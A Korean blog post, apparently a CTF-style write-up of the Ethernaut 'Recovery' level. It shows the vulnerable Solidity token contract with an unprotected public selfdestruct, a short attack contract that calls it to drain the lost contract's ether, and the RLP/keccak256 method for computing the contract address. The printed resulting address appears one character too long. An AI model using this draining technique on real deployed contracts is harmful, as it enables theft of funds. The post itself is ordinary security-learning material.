티스토리 뷰
1. 문제
컨트랙트 크리에이터가 아주 간단한 토큰 팩토리 컨트랙트를 적성했다 누구나 새로운 토큰을 간단하게 만들 수 있다. 첫 번째 토큰 컨트랙트를 배포하고 나면, 크리에이터는 더 많은 토큰을 얻기 위해 0.001 이더를 보낸다. 그러나 생성자는 컨트랙트 주소를 확인할 길이 없다. 이 단계는 잃어버린 컨트랙트 주소로부터 0.001 이더를 회수해야만 통과할 수 있다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
Recovery 컨트랙트의 generateToken 함수를 통해서 컨트랙트를 생성하고, 생성된 컨트랙트 주소로 이더를 보내면 receive 함수가 실행되어 토큰 잔액을 이더에 비례해 늘려주는데(하나의 트랜잭션에서 이 모든 로직을 실행) 문제는 어디서도 생성된 토큰 컨트랙트의 주소를 반환하지 않는다는 것입니다.
2. 해법
0.001이더를 되찾으려면 잃어버린 컨트랙트 주소를 먼저 찾아야 합니다. 블록 탐색기를 사용해 보도록 하겠습니다.
우선 배포된 Recovery 컨트랙트 주소를 검색합니다.
그리고 Internal Transactions 탭을 확인합니다. 여기서 아래에 있는 내부 트랜잭션이 현 Recovery 컨트랙트를 생성하는 트랜잭션이고, 위에 있는 트랜잭션이 현 컨트랙트에서 SimepleToken 컨트랙트를 생성하는 트랜잭션입니다. 위에 있는 트랜잭션에서 To에 파란색으로 되어 있는 Contract Creation을 클릭해 봅니다.
짠! 잃어버린 컨트랙트 주소를 찾았습니다.
이렇게 찾은 주소를 사용해서 이제 이더를 되찾아야 합니다. 이더를 되찾기 위한 유일한 방법은 SimpleToken 컨트랙트의 destroy 함수를 호출하는 것입니다. 이때 인수로 넘겨줄 _to는 자신의 지갑 주소가 됩니다. 다행히 함수를 호출하는데 별다른 제약은 걸려있지 않으니 바로 실행해 봅시다.
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
공격을 위한 컨트랙트는 다음과 같이 작성하였습니다. 콘솔창에서 web3.js 라이브러리를 사용하여 실행할 수도 있는데 저는 이쪽이 더 편해서 이렇게 진행하겠습니다. (물론 메인넷에서는 배포 비용 때문에 고민이 들 것 같습니다.)
contract Withdrawal {
function withdraw(address token) external {
(bool ok, ) = token.call(abi.encodeWithSelector(SimpleToken.destroy.selector, msg.sender));
if (!ok) {
revert();
}
}
}
컨트랙트를 배포하고 withdraw 함수를 실행합니다. withdraw 함수의 인수로는 방금 찾은 SimpleToken 컨트랙트의 주소를 넘겨줍니다.
트랜잭션이 컨펌되고 나서 컨트랙트의 잔액을 확인하면 0이 된 것을 확인할 수 있습니다. 이는 컨트랙트가 selfdestruct opcode를 실행하면서 지정된 대상에게 모든 이더 잔액을 전송함으로 인해 가능한 것입니다.
인스턴스를 제출하고 마무리합니다.
3. 문제에서 의도한 풀이
문제에서 원래 의도했던 것은 컨트랙트 주소를 직접 계산해서 푸는 것이었습니다. 계산 순서는 다음과 같습니다.
- SimepleToken 컨트랙트를 생성한 컨트랙트의 주소, 여기서는 Recovery 컨트랙트의 주소를 의미합니다. 이를 RLP 직렬화합니다. 직렬화 결과는 헤더 1바이트 (0x80 + 주소 길이 0x14 = 0x94) + 주소 20바이트입니다.
- Recovery 컨트랙트가 SimpleToken 컨트랙트를 생성할 때의 논스값, 여기서는 Recovery 컨트랙트가 생성되자마자 SimpleToken 컨트랙트를 생성했으므로 논스값은 1이 됩니다. 이를 RLP 직렬화하면 단일 바이트 0x01이 됩니다.
- 직렬화한 주소와 논스를 원소로 가진 리스트의 길이는 22이므로 리스트의 헤더는 1바이트 (0xc0 + 0x16 = 0xd6)입니다.
- 직렬화 결과는 0xd694a576cae06a58d8125c7d50b4d5615d6704bfba2601 입니다.
- 이 값을 keccak256 해시 함수의 입력으로 사용하여 해시를 구합니다.
- 구한 32바이트 해시의 뒷부분 20바이트가 생성된 컨트랙트의 주소가 됩니다.
"0x" + web3.utils.keccak256("0xd694a576cae06a58d8125c7d50b4d5615d6704bfba2601").slice(27)
'0x196299087b6c3e97702ec231bc9001d1455a033'
solidity를 사용해 계산하는 코드는 다음과 같습니다.
contract RecoverAddress {
function recover(address creator) external pure returns(address) {
return address(uint160( uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), creator, bytes1(0x01))))));
}
}
4. 결론
내가 블록 탐색기 들여다보면 Ethernaut 니가 뭘 할 수 있는데?
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 20. Denial (0) | 2024.02.01 |
---|---|
[Ethernaut] 19. Alien Codex (1) | 2024.01.31 |
[Ethernaut] 16. Preservation (0) | 2024.01.29 |
[Ethernaut] 15. Naught Coin (1) | 2024.01.28 |
[Ethernaut] 14. Gatekeeper Two (0) | 2024.01.27 |